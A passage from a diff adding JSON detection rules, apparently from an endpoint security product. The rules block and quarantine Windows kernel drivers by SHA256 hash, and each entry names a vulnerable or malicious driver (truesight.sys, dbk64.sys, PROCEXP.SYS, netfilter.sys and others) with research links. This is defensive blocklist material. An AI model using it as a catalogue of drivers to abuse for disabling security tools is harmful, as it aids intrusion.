+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd7635fa-20ae-51ce-8e45-f3ebc2196b1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619733Z",
+  "creation_date": "2026-03-23T11:45:29.619735Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9c60f560440ff16ad3c767ff5b7658d5bda61ea1166efe9b7f450447557136e",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd78fe86-180b-54d3-b29d-86852105f255",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152468Z",
+  "creation_date": "2026-03-23T11:45:31.152471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa8ef041d0fb7efdd210f1dc6da700c60d50b409e35487d7eb424ce333eb9eb4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd9ab9b7-498b-5ced-b001-98f3704ae3bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605322Z",
+  "creation_date": "2026-03-23T11:45:29.605324Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c52fdfb39d93de37a489e8899d01ef665d350d59c8b444eb88a9258bca7ec18",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bd9e6959-642d-5ef9-87d2-a210100da481",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472467Z",
+  "creation_date": "2026-03-23T11:45:31.472471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d40656cff5214074ff468ec3b57c6f25dcf90d39cdf242349dddd76cb27de1ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bda89e75-e6fb-5adf-920a-1352f52c4fed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815974Z",
+  "creation_date": "2026-03-23T11:45:30.815976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815982Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52478f3ddd3d0b9eb098e66049d132cc5c7e05720bfc78b6550ce5a40306d993",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bda8cb6a-1d3b-50d6-8417-f6b3b90cd8b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976964Z",
+  "creation_date": "2026-03-23T11:45:29.976966Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976972Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2107b1c150e9c60630d4306fdcd8d47dd8918e912210066ef5fa551b30a6eb1c",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdacc102-ebf3-5b24-9bf8-49c1ce8dd07b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621016Z",
+  "creation_date": "2026-03-23T11:45:29.621018Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bc0cec99dce687304dad8f7a6daf772e695cbd0169d346d03ae12500361a1e8",
+  "comment": "Phoenix Technologies Vulnerable Physmem drivers (aka Agent64.sys) [https://www.loldrivers.io/drivers/5943b267-64f3-40d4-8669-354f23dec122/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdc44806-78c8-58a1-817e-e82e03a57593",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480117Z",
+  "creation_date": "2026-03-23T11:45:30.480119Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480124Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b78eb7f12ba718183313cf336655996756411b7dcc8648157aaa4c891ca9dbee",
+  "comment": "Vulnerable Kernel Driver (aka IoAccesssys.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdc77bc7-804d-5546-9ada-4968629588e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151143Z",
+  "creation_date": "2026-03-23T11:45:31.151145Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a0c8585a071d0a69c1db2c3817a7ebed2b3172620927673d43f4de5ae7fee1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdcc8ce2-a136-59fb-babd-ae32ca35154d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985045Z",
+  "creation_date": "2026-03-23T11:45:29.985047Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c786f3ca229da18b2806af4d57ecad603859ee548549b19f71a623f477fc740e",
+  "comment": "Dangerous Physmem Kernel Driver (aka Dh_Kernel.Sys) [https://www.loldrivers.io/drivers/dfce8b0f-d857-4808-80ef-61273c7a4183/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdd2dd2a-b577-532c-9470-3c79ec661c51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815178Z",
+  "creation_date": "2026-03-23T11:45:31.815180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86fca8a2417289f6e57e965b57c77afc25a2e0238f7b15fa6749e36ccc8333ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bde7dd90-5d3b-5561-b0ac-8a365b8d330c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827769Z",
+  "creation_date": "2026-03-23T11:45:30.827771Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827776Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81f31698797fd3e2be5c0122331c42df3158f40dcbd9badf42078371deceab13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdf0da74-9213-5a2d-a5cf-3f5b77847594",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819516Z",
+  "creation_date": "2026-03-23T11:45:31.819520Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819528Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9318ed6cf1c407c5766755322df3d11e268be558c1446c8b75d0e4da2ed05e08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdf23a90-d655-5493-ab5e-d083098e8b56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825633Z",
+  "creation_date": "2026-03-23T11:45:30.825635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1293155f307ac61973d7f0d05e7e22df5ee14d23ca9b63556f836186be8145a6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdf38bea-f5f7-5f5a-8ab5-d20864bcd9cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617712Z",
+  "creation_date": "2026-03-23T11:45:29.617714Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "626fae47811450d080d08c3d9fd890aa64bfecdc45eacd42a40850c1833c8763",
+  "comment": "Cheat Engine dangerous driver (aka dbk64.sys) [https://www.loldrivers.io/drivers/1524a54d-520d-4fa4-a7d5-aaaa066fbfc4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bdf42d1c-5ee2-529e-a411-0d07752d8d62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819354Z",
+  "creation_date": "2026-03-23T11:45:31.819356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3cd55592a03556e29d89dbf5e3cc6db5e0aaab74ccba59cc467131843c01ea76",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be330886-88d8-587d-a166-2fba15218648",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457929Z",
+  "creation_date": "2026-03-23T11:45:30.457933Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457941Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "202d9703a5b8d06c5f92d2c5218a93431aa55af389007826a9bfaaf900812213",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be3531ac-e090-5a60-9200-ee929127bb23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975552Z",
+  "creation_date": "2026-03-23T11:45:29.975554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975559Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b50ffc60eaa4fb7429fdbb67c0aba0c7085f5129564d0a113fec231c5f8ff62e",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be62872f-9a8b-5c95-8aaf-6263eea69ab2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825441Z",
+  "creation_date": "2026-03-23T11:45:31.825443Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b864ffab5fb7c53696543377bc03efc301c2ae33ff0314e2a2bf437f3c66faa6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be66222a-d7ab-543b-9ae7-038aba3f66cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967658Z",
+  "creation_date": "2026-03-23T11:45:29.967660Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967665Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34954e34f958648557a2cab18491f900183a1ef516949d681c20e11920a3117f",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be788b55-4e26-5d69-9526-d5dd88b97f08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474713Z",
+  "creation_date": "2026-03-23T11:45:31.474718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474728Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fdc8ffee7073f1bcc9ebf768897a57b74a27011be1112420e09a0841eeba9530",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be7967db-75e9-57bb-aae7-a36f208017d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606540Z",
+  "creation_date": "2026-03-23T11:45:29.606542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c286dfac5ca413efeb1936e876688b6bd46d25dc64206f86efb4f52ad83d1889",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "be846ef1-c5a5-5306-bb6f-4755a93c3a65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
